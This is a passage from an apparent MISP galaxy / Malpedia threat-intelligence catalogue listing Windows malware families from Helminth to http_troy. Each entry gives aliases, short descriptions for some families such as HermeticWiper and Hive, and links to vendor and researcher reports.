https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html
https://medium.com/proferosec-osm/static-unpacker-and-decoder-for-hello-kitty-packer-91a3e8844cb7
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://labs.sentinelone.com/hellokitty-ransomware-lacks-stealth-but-still-strikes-home/
https://unit42.paloaltonetworks.com/emerging-ransomware-groups/
https://id-ransomware.blogspot.com/2020/11/hellokitty-ransomware.html
https://www.bleepingcomputer.com/news/security/hellokitty-ransomware-is-targeting-vulnerable-sonicwall-devices/

Helminth

The tag is: *misp-galaxy:malpedia="Helminth"*

Helminth is also known as:

Table 2308. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.helminth
https://blog.morphisec.com/iranian-fileless-cyberattack-on-israel-word-vulnerability
https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/
https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html
https://www.secureworks.com/research/threat-profiles/cobalt-gypsy
https://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/
http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae

Heloag

The tag is: *misp-galaxy:malpedia="Heloag"*

Heloag is also known as:

Table 2309. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.heloag

https://securelist.com/heloag-has-rather-no-friends-just-a-master/29693/

Herbst

The tag is: *misp-galaxy:malpedia="Herbst"*

Herbst is also known as:

Table 2310. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.herbst
https://blog.fortinet.com/2016/06/03/cooking-up-autumn-herbst-ransomware

Heriplor

The tag is: *misp-galaxy:malpedia="Heriplor"*

Heriplor is also known as:

Table 2311. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.heriplor
https://insights.sei.cmu.edu/cert/2019/03/api-hashing-tool-imagine-that.html
https://vblocalhost.com/uploads/VB2021-Slowik.pdf
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks

Hermes

The tag is: *misp-galaxy:malpedia="Hermes"*

Hermes is also known as:

Table 2312. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html
https://www.youtube.com/watch?v=9nuo-AGg4p4

https://web.archive.org/web/20200922165625/https://dcso.de/2019/03/18/enterprise-malware-as-a-service/
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://i.blackhat.com/eu-20/Wednesday/eu-20-Rivera-From-Zero-To-Sixty-The-Story-Of-North-Koreas-Rapid-Ascent-To-Becoming-A-Global-Cyber-Superpower.pdf
https://vxhive.blogspot.com/2020/11/deep-dive-into-hermes-ransomware.html
https://medium.com/ax1al/reversing-ryuk-eef8ffd55f12
https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside
https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/

HermeticWiper

According to SentinelLabs, HermeticWiper is a custom-written application with very few standard functions. It abuses a signed driver called "empntdrv.sys" which is associated with the legitimate Software "EaseUS Partition Master Software" to enumerate the MBR and all partitions of all Physical Drives connected to the victims Windows Device and overwrite the first 512 Bytes of every MBR and Partition it can find, rendering them useless. This malware is associated to the malware attacks against Ukraine during Russians Invasion in February 2022.

The tag is: *misp-galaxy:malpedia="HermeticWiper"*

HermeticWiper is also known as:

- DriveSlayer
- FoxBlade
- KillDisk.NCV
- NEARMISS

Table 2313. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hermeticwiper
https://brandefense.io/hermeticwiper-technical-analysis-report/
https://thehackernews.com/2022/02/new-wiper-malware-targeting-ukraine.html
https://blogs.vmware.com/networkvirtualization/2022/03/hermetic-malware-multi-component-threat-targeting-ukraine-organizations.html/
https://blog.malwarebytes.com/threat-intelligence/2022/03/hermeticwiper-a-detailed-analysis-of-the-destructive-malware-that-targeted-ukraine/
https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-hermeticwiper-partyticket

https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/
https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware
https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya
https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/
https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/
https://www.welivesecurity.com/2022/02/24/hermeticwiper-new-data-wiping-malware-hits-ukraine/
https://go.recordedfuture.com/hubfs/reports/mtp-2022-0302.pdf
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd
https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat
https://socradar.io/what-you-need-to-know-about-russian-cyber-escalation-in-ukraine/
https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine
https://learnsentinel.blog/2022/02/28/detecting-malware-kill-chains-with-defender-and-microsoft-sentinel/
https://thehackernews.com/2022/02/putin-warns-russian-critical.html
https://cloudsek.com/technical-analysis-of-the-hermetic-wiper-malware-used-to-target-ukraine/
https://twitter.com/fr0gger_/status/1497121876870832128
https://t3n.de/news/cyber-attacken-ukraine-wiper-malware-1454318/
https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works
https://www.bitdefender.com/blog/hotforsecurity/five-things-you-need-to-know-about-the-cyberwar-in-ukraine/
https://lifars.com/2022/03/a-closer-look-at-the-russian-actors-targeting-organizations-in-ukraine/
https://www.zscaler.com/blogs/security-research/hermeticwiper-resurgence-targeted-attacks-ukraine
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/defenders-blog-on-cyberattacks-targeting-ukraine.html
https://dgc.org/en/hermeticwiper-malware/
https://threatpost.com/microsoft-ukraine-foxblade-trojan-hours-before-russian-invasion/178702/
https://unit42.paloaltonetworks.com/preparing-for-cyber-impact-russia-ukraine-crisis/
https://eln0ty.github.io/malware%20analysis/HermeticWiper/
https://securityboulevard.com/2022/03/isaacwiper-followed-hermeticwiper-attack-on-ukraine-orgs/

https://www.mandiant.com/resources/information-operations-surrounding-ukraine
https://www.kaspersky.com/blog/hermeticransom-hermeticwiper-attacks-2022/43825/
https://securityintelligence.com/posts/new-destructive-malware-cyber-attacks-ukraine/
https://www.englert.one/hermetic-wiper-reverse-code-engineering
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia
https://blogs.blackberry.com/en/2022/03/threat-thursday-hermeticwiper
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf
https://yoroi.company/research/diskkill-hermeticwiper-a-disruptive-cyber-weapon-targeting-ukraines-critical-infrastructures/
https://www.zdnet.com/article/microsoft-finds-foxblade-malware-on-ukrainian-systems-removing-rt-from-windows-app-store/
https://elastic.github.io/security-research/intelligence/2022/03/01.hermeticwiper-targets-ukraine/article/
https://cluster25.io/2022/02/24/ukraine-analysis-of-the-new-disk-wiping-malware/
https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/digging-into-hermeticwiper.html
https://www.secureworks.com/blog/disruptive-hermeticwiper-attacks-targeting-ukrainian-organizations
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-057A_Destructive_Malware_Targeting_Organizations_in_Ukraine.pdf
https://www.deepinstinct.com/blog/hermeticwiper-malware-the-russian-ukrainian-cyber-war
https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/growling-bears-make-thunderous-noise.html
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war
https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation
https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/
https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview
https://therecord.media/second-data-wiper-attack-hits-ukraine-computer-networks/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/

https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/
https://marcoramilli.com/2022/03/01/diskkill-hermeticwiper-and-notpetya-dissimilarities/
https://twitter.com/threatintel/status/1496578746014437376
https://www.youtube.com/watch?v=sUlW45c9izU
https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/
https://www.cisa.gov/uscert/ncas/alerts/aa22-057a
https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf
https://community.riskiq.com/article/9f59cb85
https://www.splunk.com/en_us/blog/security/detecting-hermeticwiper.html
https://www.brighttalk.com/webcast/15591/534324

HermeticWizard

The tag is: *misp-galaxy:malpedia="HermeticWizard"*

HermeticWizard is also known as:

Table 2314. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hermeticwizard
https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/
https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview
https://twitter.com/silascutler/status/1501668345640366091
https://twitter.com/ET_Labs/status/1502494650640351236
https://www.brighttalk.com/webcast/15591/534324

HerpesBot

The tag is: *misp-galaxy:malpedia="HerpesBot"*

HerpesBot is also known as:

Table 2315. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.herpes

HesperBot

The tag is: *misp-galaxy:malpedia="HesperBot"*

HesperBot is also known as:

Table 2316. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hesperbot

heyoka

The tag is: *misp-galaxy:malpedia="heyoka"*

heyoka is also known as:

Table 2317. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.heyoka
https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/

HiAsm

The tag is: *misp-galaxy:malpedia="HiAsm"*

HiAsm is also known as:

Table 2318. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hiasm
https://fortiguard.fortinet.com/encyclopedia/virus/6488677

Hidden Bee

The tag is: *misp-galaxy:malpedia="Hidden Bee"*

Hidden Bee is also known as:

Table 2319. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hiddenbee
https://blog.malwarebytes.com/threat-analysis/2018/08/reversing-malware-in-a-custom-format-hidden-bee-elements/
https://blog.malwarebytes.com/threat-analysis/2019/05/hidden-bee-lets-go-down-the-rabbit-hole/
https://www.msreverseengineering.com/blog/2018/9/2/weekend-project-a-custom-ida-loader-module-for-the-hidden-bee-malware-family

https://www.bleepingcomputer.com/news/security/new-underminer-exploit-kit-discovered-pushing-bootkits-and-coinminers/
https://www.freebuf.com/column/175106.html
https://www.freebuf.com/column/174581.html
https://blog.malwarebytes.com/threat-analysis/2018/07/hidden-bee-miner-delivered-via-improved-drive-by-download-toolkit/
https://blog.malwarebytes.com/threat-analysis/2019/08/the-hidden-bee-infection-chain-part-1-the-stegano-pack/

HiddenTear

HiddenTear is an open source ransomware developed by a Turkish programmer and later released as proof of concept on GitHub. The malware generates a local symmetric key in order to encrypt a configurable folder (/test was the default one) and it sends it to a centralized C&C server. Due to its small payload it was used as real attack vector over email phishing campaigns. Variants are still used in attacks.

The tag is: *misp-galaxy:malpedia="HiddenTear"*

HiddenTear is also known as:

- FuckUnicorn

Table 2320. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hiddentear
https://twitter.com/struppigel/status/950787783353884672
https://www.bleepingcomputer.com/news/security/new-f-unicorn-ransomware-hits-italy-via-fake-covid-19-infection-map/
https://www.tripwire.com/state-of-security/security-data-protection/cyber-security/hidden-tear-project-forbidden-fruit-is-the-sweetest/
https://github.com/goliate/hidden-tear
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/
https://twitter.com/JAMESWT_MHT/status/1264828072001495041
https://dissectingmalwa.re/earn-quick-btc-with-hiddentearmp4-about-open-source-ransomware.html
https://www.slideshare.net/ChristopherDoman/open-source-malware-sharing-is-caring

HideDRV

The tag is: *misp-galaxy:malpedia="HideDRV"*

HideDRV is also known as:

Table 2321. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hidedrv
https://www.secureworks.com/research/threat-profiles/iron-twilight
http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html

HIGHNOON

According to FireEye, HIGHNOON is a backdoor that may consist of multiple components. The components may include a loader, a DLL, and a rootkit. Both the loader and the DLL may be dropped together, but the rootkit may be embedded in the DLL. The HIGHNOON loader may be designed to run as a Windows service.

The tag is: *misp-galaxy:malpedia="HIGHNOON"*

HIGHNOON is also known as:

Table 2322. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.highnoon
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://twitter.com/MrDanPerez/status/1159461995013378048
https://content.fireeye.com/apt-41/rpt-apt41/
https://www.fireeye.com/blog/threat-research/2019/08/game-over-detecting-and-stopping-an-apt41-operation.html

HIGHNOON.BIN

The tag is: *misp-galaxy:malpedia="HIGHNOON.BIN"*

HIGHNOON.BIN is also known as:

Table 2323. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.highnoon_bin
https://content.fireeye.com/apt-41/rpt-apt41/

HIGHNOTE

The tag is: *misp-galaxy:malpedia="HIGHNOTE"*

HIGHNOTE is also known as:

- ChyNode

Table 2324. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.highnote
https://twitter.com/bkMSFT/status/1153994428949749761

HiKit

The tag is: *misp-galaxy:malpedia="HiKit"*

HiKit is also known as:

Table 2325. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hikit
https://www.recordedfuture.com/hidden-lynx-analysis/
https://www.secureworks.com/research/threat-profiles/bronze-keystone
https://web.archive.org/web/20141016080249/http://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware
https://attack.mitre.org/groups/G0001/
https://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/hidden_lynx.pdf

himan

The tag is: *misp-galaxy:malpedia="himan"*

himan is also known as:

Table 2326. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.himan
https://www.checkpoint.com/threatcloud-central/downloads/check-point-himan-malware-analysis.pdf

Himera Loader

The tag is: *misp-galaxy:malpedia="Himera Loader"*

Himera Loader is also known as:

Table 2327. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.himera_loader
https://twitter.com/James_inthe_box/status/1260191589789392898

Hisoka

The tag is: *misp-galaxy:malpedia="Hisoka"*

Hisoka is also known as:

Table 2328. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hisoka
https://unit42.paloaltonetworks.com/xhunt-campaign-attacks-on-kuwait-shipping-and-transportation-organizations/

Hive (Windows)

Hive is a strain of ransomware that was first discovered in June 2021. Hive was designed to be used by Ransomware-as-a-service providers, to enable novice cyber-criminals to launch ransomware attacks on healthcare providers, energy providers, charities, and retailers across the globe. In 2022 there was a switch from GoLang to Rust.

The tag is: *misp-galaxy:malpedia="Hive (Windows)"*

Hive (Windows) is also known as:

Table 2329. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hive
https://www.connectwise.com/resources/hive-profile
https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/
https://yoroi.company/research/on-the-footsteps-of-hive-ransomware/
https://www.microsoft.com/security/blog/2022/07/05/hive-ransomware-gets-upgrades-in-rust/
https://therecord.media/hive-ransomware-shuts-down-california-health-care-organization/

https://labs.sentinelone.com/hive-attacks-analysis-of-the-human-operated-ransomware-targeting-healthcare/
https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape
https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/
https://arxiv.org/pdf/2202.08477.pdf
https://securelist.com/modern-ransomware-groups-ttps/106824/
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://github.com/rivitna/Malware/tree/main/Hive
https://www.scmagazine.com/brief/breach/novel-obfuscation-leveraged-by-hive-ransomware
https://www.ic3.gov/Media/News/2021/210825.pdf
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf
https://blog.group-ib.com/hive
https://therecord.media/academics-publish-method-for-recovering-data-encrypted-by-the-hive-ransomware/
https://securityaffairs.co/wordpress/128232/security/recover-files-hive-ransomware.html
https://yoroi.company/wp-content/uploads/2022/07/Yoroi-On-The-Footsteps-of-Hive-Ransomware.pdf
https://www.bleepingcomputer.com/news/security/hive-ransomware-uses-new-ipfuscation-trick-to-hide-payload/
https://blog.talosintelligence.com/2022/05/conti-and-hive-ransomware-operations.html
https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group
https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_hive_2021_v1.pdf
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-hive
https://lifars.com/2022/02/how-to-decrypt-the-files-encrypted-by-the-hive-ransomware/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker
https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/
https://www.sentinelone.com/blog/hive-ransomware-deploys-novel-ipfuscation-technique/
https://www.varonis.com/blog/hive-ransomware-analysis
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself

https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v
https://thehackernews.com/2022/02/master-key-for-hive-ransomware.html
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf?1651576098
https://unit42.paloaltonetworks.com/emerging-ransomware-groups/
https://www.netskope.com/blog/hive-ransomware-actively-targeting-hospitals
https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again

Hi-Zor RAT

The tag is: *misp-galaxy:malpedia="Hi-Zor RAT"*

Hi-Zor RAT is also known as:

Table 2330. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hi_zor_rat
https://www.fidelissecurity.com/threatgeek/2016/01/introducing-hi-zor-rat

HLUX

The tag is: *misp-galaxy:malpedia="HLUX"*

HLUX is also known as:

Table 2331. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hlux

Holcus Installer (Adware)

Adware, tied to eGobbler and Nephos7 campaigns,

The tag is: *misp-galaxy:malpedia="Holcus Installer (Adware)"*

Holcus Installer (Adware) is also known as:

Table 2332. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.holcus
https://blog.confiant.com/malvertising-made-in-china-f5081521b3f0

homefry

```
a 64-bit Windows password dumper/cracker that has previously been used in conjunction
with AIRBREAK and BADFLICK backdoors. Some strings are obfuscated with XOR x56. The
malware accepts up to two arguments at the command line: one to display cleartext
credentials for each login session, and a second to display cleartext credentials,
NTLM hashes, and malware version for each login session.
```

The tag is: *misp-galaxy:malpedia="homefry"*

homefry is also known as:

Table 2333. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.homefry
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://www.secureworks.com/research/threat-profiles/bronze-mohawk

HookInjEx

The tag is: *misp-galaxy:malpedia="HookInjEx"*

HookInjEx is also known as:

Table 2334. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hookinjex
https://research.checkpoint.com/2020/rampant-kitten-an-iranian-espionage-campaign/
https://twitter.com/CDA/status/1014144988454772736

HOPLIGHT

The tag is: *misp-galaxy:malpedia="HOPLIGHT"*

HOPLIGHT is also known as:

- HANGMAN

Table 2335. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hoplight
https://www.us-cert.gov/ncas/analysis-reports/ar19-304a

https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.us-cert.gov/ncas/analysis-reports/AR19-100A
https://www.us-cert.gov/ncas/analysis-reports/ar20-045g
https://www.secureworks.com/research/threat-profiles/nickel-academy
https://www.fireeye.com/content/dam/fireeye-www/global/en/blog/threat-research/FireEye_HWP_ZeroDay.pdf
https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/
https://researchcenter.paloaltonetworks.com/2017/08/unit42-blockbuster-saga-continues/
https://securelist.com/apt-trends-report-q2-2019/91897/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.computing.co.uk/ctg/news/3074007/lazarus-rises-warning-over-new-hoplight-malware-linked-with-north-korea

Hopscotch

Hopscotch is part of the Regin framework.

The tag is: *misp-galaxy:malpedia="Hopscotch"*

Hopscotch is also known as:

Table 2336. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hopscotch
https://www.youtube.com/watch?v=VnzP00DZlx4

HorusEyes RAT

Remote Acess Tool Written in VB.NET.

The tag is: *misp-galaxy:malpedia="HorusEyes RAT"*

HorusEyes RAT is also known as:

Table 2337. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.horuseyes
https://github.com/arsium/HorusEyesRat_Public

Horus Eyes RAT

Warsaw trojan is a new banking trojan based on the Hours Eyes RAT core engine.

The tag is: *misp-galaxy:malpedia="Horus Eyes RAT"*

Horus Eyes RAT is also known as:

Table 2338. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.horus_eyes_rat
https://seguranca-informatica.pt/the-clandestine-horus-eyes-rat-from-the-underground-to-criminals-arsenal/

HOTCROISSANT

The tag is: *misp-galaxy:malpedia="HOTCROISSANT"*

HOTCROISSANT is also known as:

Table 2339. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hotcroissant
https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/
https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/
https://www.us-cert.gov/ncas/analysis-reports/ar20-045d

HOTWAX

HOTWAX is a module that upon starting imports all necessary system API functions, and searches for a .CHM file. HOTWAX decrypts a payload using the Spritz algorithm with a hard-coded key and then searches the target process and attempts to inject the decrypted payload module from the CHM file into the address space of the target process.

The tag is: *misp-galaxy:malpedia="HOTWAX"*

HOTWAX is also known as:

Table 2340. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hotwax
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf

https://content.fireeye.com/apt/rpt-apt38
https://www.welivesecurity.com/2017/02/16/demystifying-targeted-malware-used-polish-banks/
https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Kalnai-Poslusny.pdf

Houdini

Houdini is a VBS-based RAT dating back to 2013. Past in the days, it used to be wrapped in an .exe but started being spamvertized or downloaded by other malware directly as .vbs in 2018. In 2019, WSHRAT appeared, a Javascript-based version of Houdini, recoded by the name of Kognito.

The tag is: *misp-galaxy:malpedia="Houdini"*

Houdini is also known as:

- Hworm
- Jenxcus
- Kognito
- Njw0rm
- WSHRAT
- dinihou
- dunihi

Table 2341. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.houdini
https://cofense.com/houdini-worm-transformed-new-phishing-attack/
https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by-houdini.html
https://www.vectra.ai/blogpost/moonlight-middle-east-targeted-attacks
https://www.youtube.com/watch?v=XDAiS6KBDOs
https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/
http://blog.morphisec.com/hworm-houdini-aka-njrat
https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://myonlinesecurity.co.uk/more-agenttesla-keylogger-and-nanocore-rat-in-one-bundle/
https://www.youtube.com/watch?v=h3KLKCdMUUY
https://blog.morphisec.com/ahk-rat-loader-leveraged-in-unique-delivery-campaigns
https://www.cadosecurity.com/post/threat-group-uses-voice-changing-software-in-espionage-attempt
https://unit42.paloaltonetworks.com/unit42-houdinis-magic-reappearance/

https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g
https://threatpost.com/ta2541-apt-rats-aviation/178422/
https://www.binarydefense.com/revenge-is-a-dish-best-served-obfuscated
https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/wsh_rat.md
https://yoroi.company/research/threatening-within-budget-how-wsh-rat-is-abused-by-cyber-crooks/
https://blogs.360.cn/post/APT-C-44.html
https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html
https://cybersecurity.att.com/blogs/labs-research/alien-labs-2019-analysis-of-threat-groups-molerats-and-apt-c-37
http://blogs.360.cn/post/analysis-of-apt-c-37.html
https://isc.sans.edu/forums/diary/Houdini+is+Back+Delivered+Through+a+JavaScript+Dropper/28746/
https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/
https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape

HtBot

The tag is: *misp-galaxy:malpedia="HtBot"*

HtBot is also known as:

Table 2342. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.htbot

htpRAT

The tag is: *misp-galaxy:malpedia="htpRAT"*

htpRAT is also known as:

Table 2343. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.htprat
https://www.riskiq.com/blog/labs/htprat/

HTran

The tag is: *misp-galaxy:malpedia="HTran"*

HTran is also known as:

- HUC Packet Transmit Tool

Table 2344. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.htran
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.fireeye.com/blog/threat-research/2021/09/proxyshell-exploiting-microsoft-exchange-servers.html
https://www.secureworks.com/research/threat-profiles/bronze-atlas
https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers
https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/
https://www.secureworks.com/research/threat-profiles/bronze-mayfair
https://www.secureworks.com/research/htran
https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/
https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/
https://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf

HttpBrowser

The tag is: *misp-galaxy:malpedia="HttpBrowser"*

HttpBrowser is also known as:

- HttpDump

Table 2345. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.httpbrowser
https://threatconnect.com/blog/the-anthem-hack-all-roads-lead-to-china/
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www.threatconnect.com/blog/threatconnect-discovers-chinese-apt-activity-in-europe/
https://www.secureworks.com/research/threat-profiles/bronze-union

https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/
https://attack.mitre.org/groups/G0026

httpdropper

The tag is: *misp-galaxy:malpedia="httpdropper"*

httpdropper is also known as:

- httpdr0pper

Table 2346. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.httpdropper
https://www.sans.org/reading-room/whitepapers/critical/tracing-lineage-darkseoul-36787
http://www.malware-reversing.com/2013/04/5-south-korea-incident-new-malware.html
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/dissecting-operation-troy.pdf

http_troy

The tag is: *misp-galaxy:malpedia="http_troy"*

http_troy is also known as:

Table 2347. Table References

Links
